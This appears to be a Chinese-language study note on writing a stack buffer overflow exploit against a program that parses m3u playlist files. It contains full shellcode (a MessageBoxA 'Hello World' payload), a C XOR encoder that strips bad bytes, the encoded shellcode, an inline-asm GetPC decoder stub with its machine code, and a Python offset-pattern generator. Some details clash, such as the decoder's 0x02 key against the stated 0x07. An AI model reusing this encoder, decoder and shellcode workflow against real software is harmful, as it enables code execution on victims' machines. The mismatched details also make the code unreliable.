FirstBlood
程序情况:小道消息对m3u文件分析,当m3u文件输入很多字符的时候程序会崩溃。
1.用二分法跟字符串定位溢出点。
2.搜索所有模块-命令-jmp esp
找个顺眼的放入溢出地址,下断点,将这个地址填入溢出点后,程序溢出就会在这个地址断下。
//MessageboxA弹出Helloworld源码char bShellcode[] = "\x83\xEC\x20\xEB\x4D\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x45\x78\x41\x00\x55\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F\x78\x41\x00\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x00\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64\x00\xE8\x00\x00\x00\x00\x5B\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x56\x08\x53\x52\xE8\x12\x00\x00\x00\x8B\xF0\x8D\x4B\xBD\x51\x52\xFF\xD0\x53\x56\x50\x52\xE8\x6E\x00\x00\x00\x55\x8B\xEC\x83\xEC\x0C\x52\x8B\x55\x08\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x32\x8B\x7E\x1C\x8D\x3C\x3A\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x3A\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x3A\x89\x7D\xF4\x33\xC0\xEB\x01\x40\x8B\x75\xF8\x8B\x34\x86\x8B\x55\x08\x8D\x34\x32\x8B\x5D\x0C\x8D\x7B\xAE\xB9\x0E\x00\x00\x00\xFC\xF3\xA6\x75\xE3\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x46\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x08\x8D\x04\x32\x5A\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x83\xEC\x08\x8B\x5D\x14\x8D\x4B\xCC\x6A\x00\x6A\x00\x51\xFF\x55\x0C\x8D\x4B\xD7\x51\x50\xFF\x55\x10\x89\x45\xFC\x8D\x4B\xE3\x51\xFF\x75\x08\xFF\x55\x10\x89\x45\xF8\x8D\x4B\xEF\x6A\x00\x51\x51\x6A\x00\xFF\x55\xFC\x6A\x00\xFF\x55\xF8";
90 用来定位,标记,等作用。
EncodeShellCode
#include "pch.h"#include <iostream>bool AutoEncoder(char* pData, int nSize){ // 1.循环尝试用不同的key加密,直到加密的结果不出现0x00,0x0A,0x0D int nOutKey = 0x00; unsigned char* pBuffer = NULL; bool bComplete = true; pBuffer = (unsigned char*)new char[nSize + 1]; for (int key=0;key<0xFF;key++) { nOutKey = key; bComplete = true; for (int i=0;i<nSize;i++) { // pBuffer[i]保存pData[i]跟Key异或的值 // 如果异或完的值是0x00或者0x0A或者0x0D,就退出换一个key继续。 pBuffer[i] = pData[i] ^ key; if (0x00==pBuffer[i]|| 0x0A == pBuffer[i] || 0x0D == pBuffer[i]) { bComplete = false; break; } } if (bComplete) { break; } } // 2. 判断加密是否成功,不成功则返回false if (!bComplete) { return false; } // 3. 将加密后的内容保存到文件 FILE *fpOutFile; if (EINVAL == fopen_s(&fpOutFile, "encode.txt", "w+")) { return false; } // 3.1 输出加密的密码 fprintf(fpOutFile, "/* Encode Key=0x%0.2X*/\n", nOutKey); // 3.2 输出加密完的代码 fprintf(fpOutFile, "char bShellcode[]=\\\n\""); for (int i=0;i<nSize;i++) { fprintf(fpOutFile, "\\x%0.2X", pBuffer[i]); if ((i+1)%16==0) { fprintf(fpOutFile, "\"\\\n\""); } } // 3.3 输出分号 fprintf(fpOutFile, "\";"); // 4.关闭句柄 fclose(fpOutFile); delete[] pBuffer; return true;}int main(){ char bShellcode[] = "\x83\xEC\x20\xEB\x4D\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x45\x78\x41\x00\x55\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F\x78\x41\x00\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x00\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64\x00\xE8\x00\x00\x00\x00\x5B\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\x8B\x36\x8B\x56\x08\x53\x52\xE8\x12\x00\x00\x00\x8B\xF0\x8D\x4B\xBD\x51\x52\xFF\xD0\x53\x56\x50\x52\xE8\x6E\x00\x00\x00\x55\x8B\xEC\x83\xEC\x0C\x52\x8B\x55\x08\x8B\x72\x3C\x8D\x34\x32\x8B\x76\x78\x8D\x34\x32\x8B\x7E\x1C\x8D\x3C\x3A\x89\x7D\xFC\x8B\x7E\x20\x8D\x3C\x3A\x89\x7D\xF8\x8B\x7E\x24\x8D\x3C\x3A\x89\x7D\xF4\x33\xC0\xEB\x01\x40\x8B\x75\xF8\x8B\x34\x86\x8B\x55\x08\x8D\x34\x32\x8B\x5D\x0C\x8D\x7B\xAE\xB9\x0E\x00\x00\x00\xFC\xF3\xA6\x75\xE3\x8B\x75\xF4\x33\xFF\x66\x8B\x3C\x46\x8B\x55\xFC\x8B\x34\xBA\x8B\x55\x08\x8D\x04\x32\x5A\x8B\xE5\x5D\xC2\x08\x00\x55\x8B\xEC\x83\xEC\x08\x8B\x5D\x14\x8D\x4B\xCC\x6A\x00\x6A\x00\x51\xFF\x55\x0C\x8D\x4B\xD7\x51\x50\xFF\x55\x10\x89\x45\xFC\x8D\x4B\xE3\x51\xFF\x75\x08\xFF\x55\x10\x89\x45\xF8\x8D\x4B\xEF\x6A\x00\x51\x51\x6A\x00\xFF\x55\xFC\x6A\x00\xFF\x55\xF8"; AutoEncoder(bShellcode, sizeof(bShellcode));}
加密完
加密密码是0x07
/* Encode Key=0x07*/char bShellcode[]=\"\x84\xEB\x27\xEC\x4A\x40\x62\x73\x57\x75\x68\x64\x46\x63\x63\x75"\"\x62\x74\x74\x07\x4B\x68\x66\x63\x4B\x6E\x65\x75\x66\x75\x7E\x42"\"\x7F\x46\x07\x52\x74\x62\x75\x34\x35\x29\x63\x6B\x6B\x07\x4A\x62"\"\x74\x74\x66\x60\x62\x45\x68\x7F\x46\x07\x42\x7F\x6E\x73\x57\x75"\"\x68\x64\x62\x74\x74\x07\x4F\x62\x6B\x6B\x68\x27\x50\x68\x75\x6B"\"\x63\x07\xEF\x07\x07\x07\x07\x5C\x63\x8C\x32\x37\x07\x07\x07\x8C"\"\x71\x0B\x8C\x71\x1B\x8C\x31\x8C\x51\x0F\x54\x55\xEF\x15\x07\x07"\"\x07\x8C\xF7\x8A\x4C\xBA\x56\x55\xF8\xD7\x54\x51\x57\x55\xEF\x69"\"\x07\x07\x07\x52\x8C\xEB\x84\xEB\x0B\x55\x8C\x52\x0F\x8C\x75\x3B"\"\x8A\x33\x35\x8C\x71\x7F\x8A\x33\x35\x8C\x79\x1B\x8A\x3B\x3D\x8E"\"\x7A\xFB\x8C\x79\x27\x8A\x3B\x3D\x8E\x7A\xFF\x8C\x79\x23\x8A\x3B"\"\x3D\x8E\x7A\xF3\x34\xC7\xEC\x06\x47\x8C\x72\xFF\x8C\x33\x81\x8C"\"\x52\x0F\x8A\x33\x35\x8C\x5A\x0B\x8A\x7C\xA9\xBE\x09\x07\x07\x07"\"\xFB\xF4\xA1\x72\xE4\x8C\x72\xF3\x34\xF8\x61\x8C\x3B\x41\x8C\x52"\"\xFB\x8C\x33\xBD\x8C\x52\x0F\x8A\x03\x35\x5D\x8C\xE2\x5A\xC5\x0F"\"\x07\x52\x8C\xEB\x84\xEB\x0F\x8C\x5A\x13\x8A\x4C\xCB\x6D\x07\x6D"\"\x07\x56\xF8\x52\x0B\x8A\x4C\xD0\x56\x57\xF8\x52\x17\x8E\x42\xFB"\"\x8A\x4C\xE4\x56\xF8\x72\x0F\xF8\x52\x17\x8E\x42\xFF\x8A\x4C\xE8"\"\x6D\x07\x56\x56\x6D\x07\xF8\x52\xFB\x6D\x07\xF8\x52\xFF\x07";
DecodeShellCode
int main(){ __asm { // 1.GetPC xor eax,eax call tag_GET_PC tag_GET_PC: retn pop eax // 2.Decode lea esi,[eax+0x1B] // esi = Shellcode(Encode)需要解密的位置 // 1B正好跳过了这段机器码 xor ecx,ecx mov cx,0x0136 tag_Decode: mov al,[esi+ecx] // 解密前字节 xor al,0x02 // 解密后字节 mov [esi+ecx],al loop tag_Decode xor [esi+ecx],0x02 // 将最后一个字节解密(因为ecx为0时LOOP会停止) // 3.跳转到Shellcode jmp esi }}
禁用优化,安全检查,数据保护,随即地址
用调试器提取机器码。
用来解码"\x33\xC0\xE8\x00\x00\x00\x00\xC3\x58\x8D\x70\x1B\x33\xC9\x66\xB9\x36\x01\x8A\x04\x0E\x34\x07\x88\x04\x0E\xE2\xF6\x80\x34\x0E\x07\xFF\xE6"因为00000000的位置会被截断,所以改成FFFFFFFF"\x33\xC0\xE8\xFF\xFF\xFF\xFF\xC3\x58\x8D\x70\x1B\x33\xC9\x66\xB9\x36\x01\x8A\x04\x0E\x34\x07\x88\x04\x0E\xE2\xF6\x80\x34\x0E\x07\xFF\xE6"
Python生成定位用字符串
def createPattern(size): char1="ABCDEFGHIJKLMNOPQRSTUVWXYZ" char2="abcdefghijklmnopqrstuvwxyz" char3="0123456789,.;+=-_!&()#@({})[]%" pattern = [] max = int(size) while len(pattern) < max: for ch1 in char1: for ch2 in char2: for ch3 in char3: if len(pattern) < max: pattern.append(ch1) if len(pattern) < max: pattern.append(ch2) if len(pattern) < max: pattern.append(ch3) pattern = "".join(pattern) return patternimport syssize = int(sys.argv[1])s = createPattern(size)file = open("Pattern.txt", "w+")file.write(s)file.close()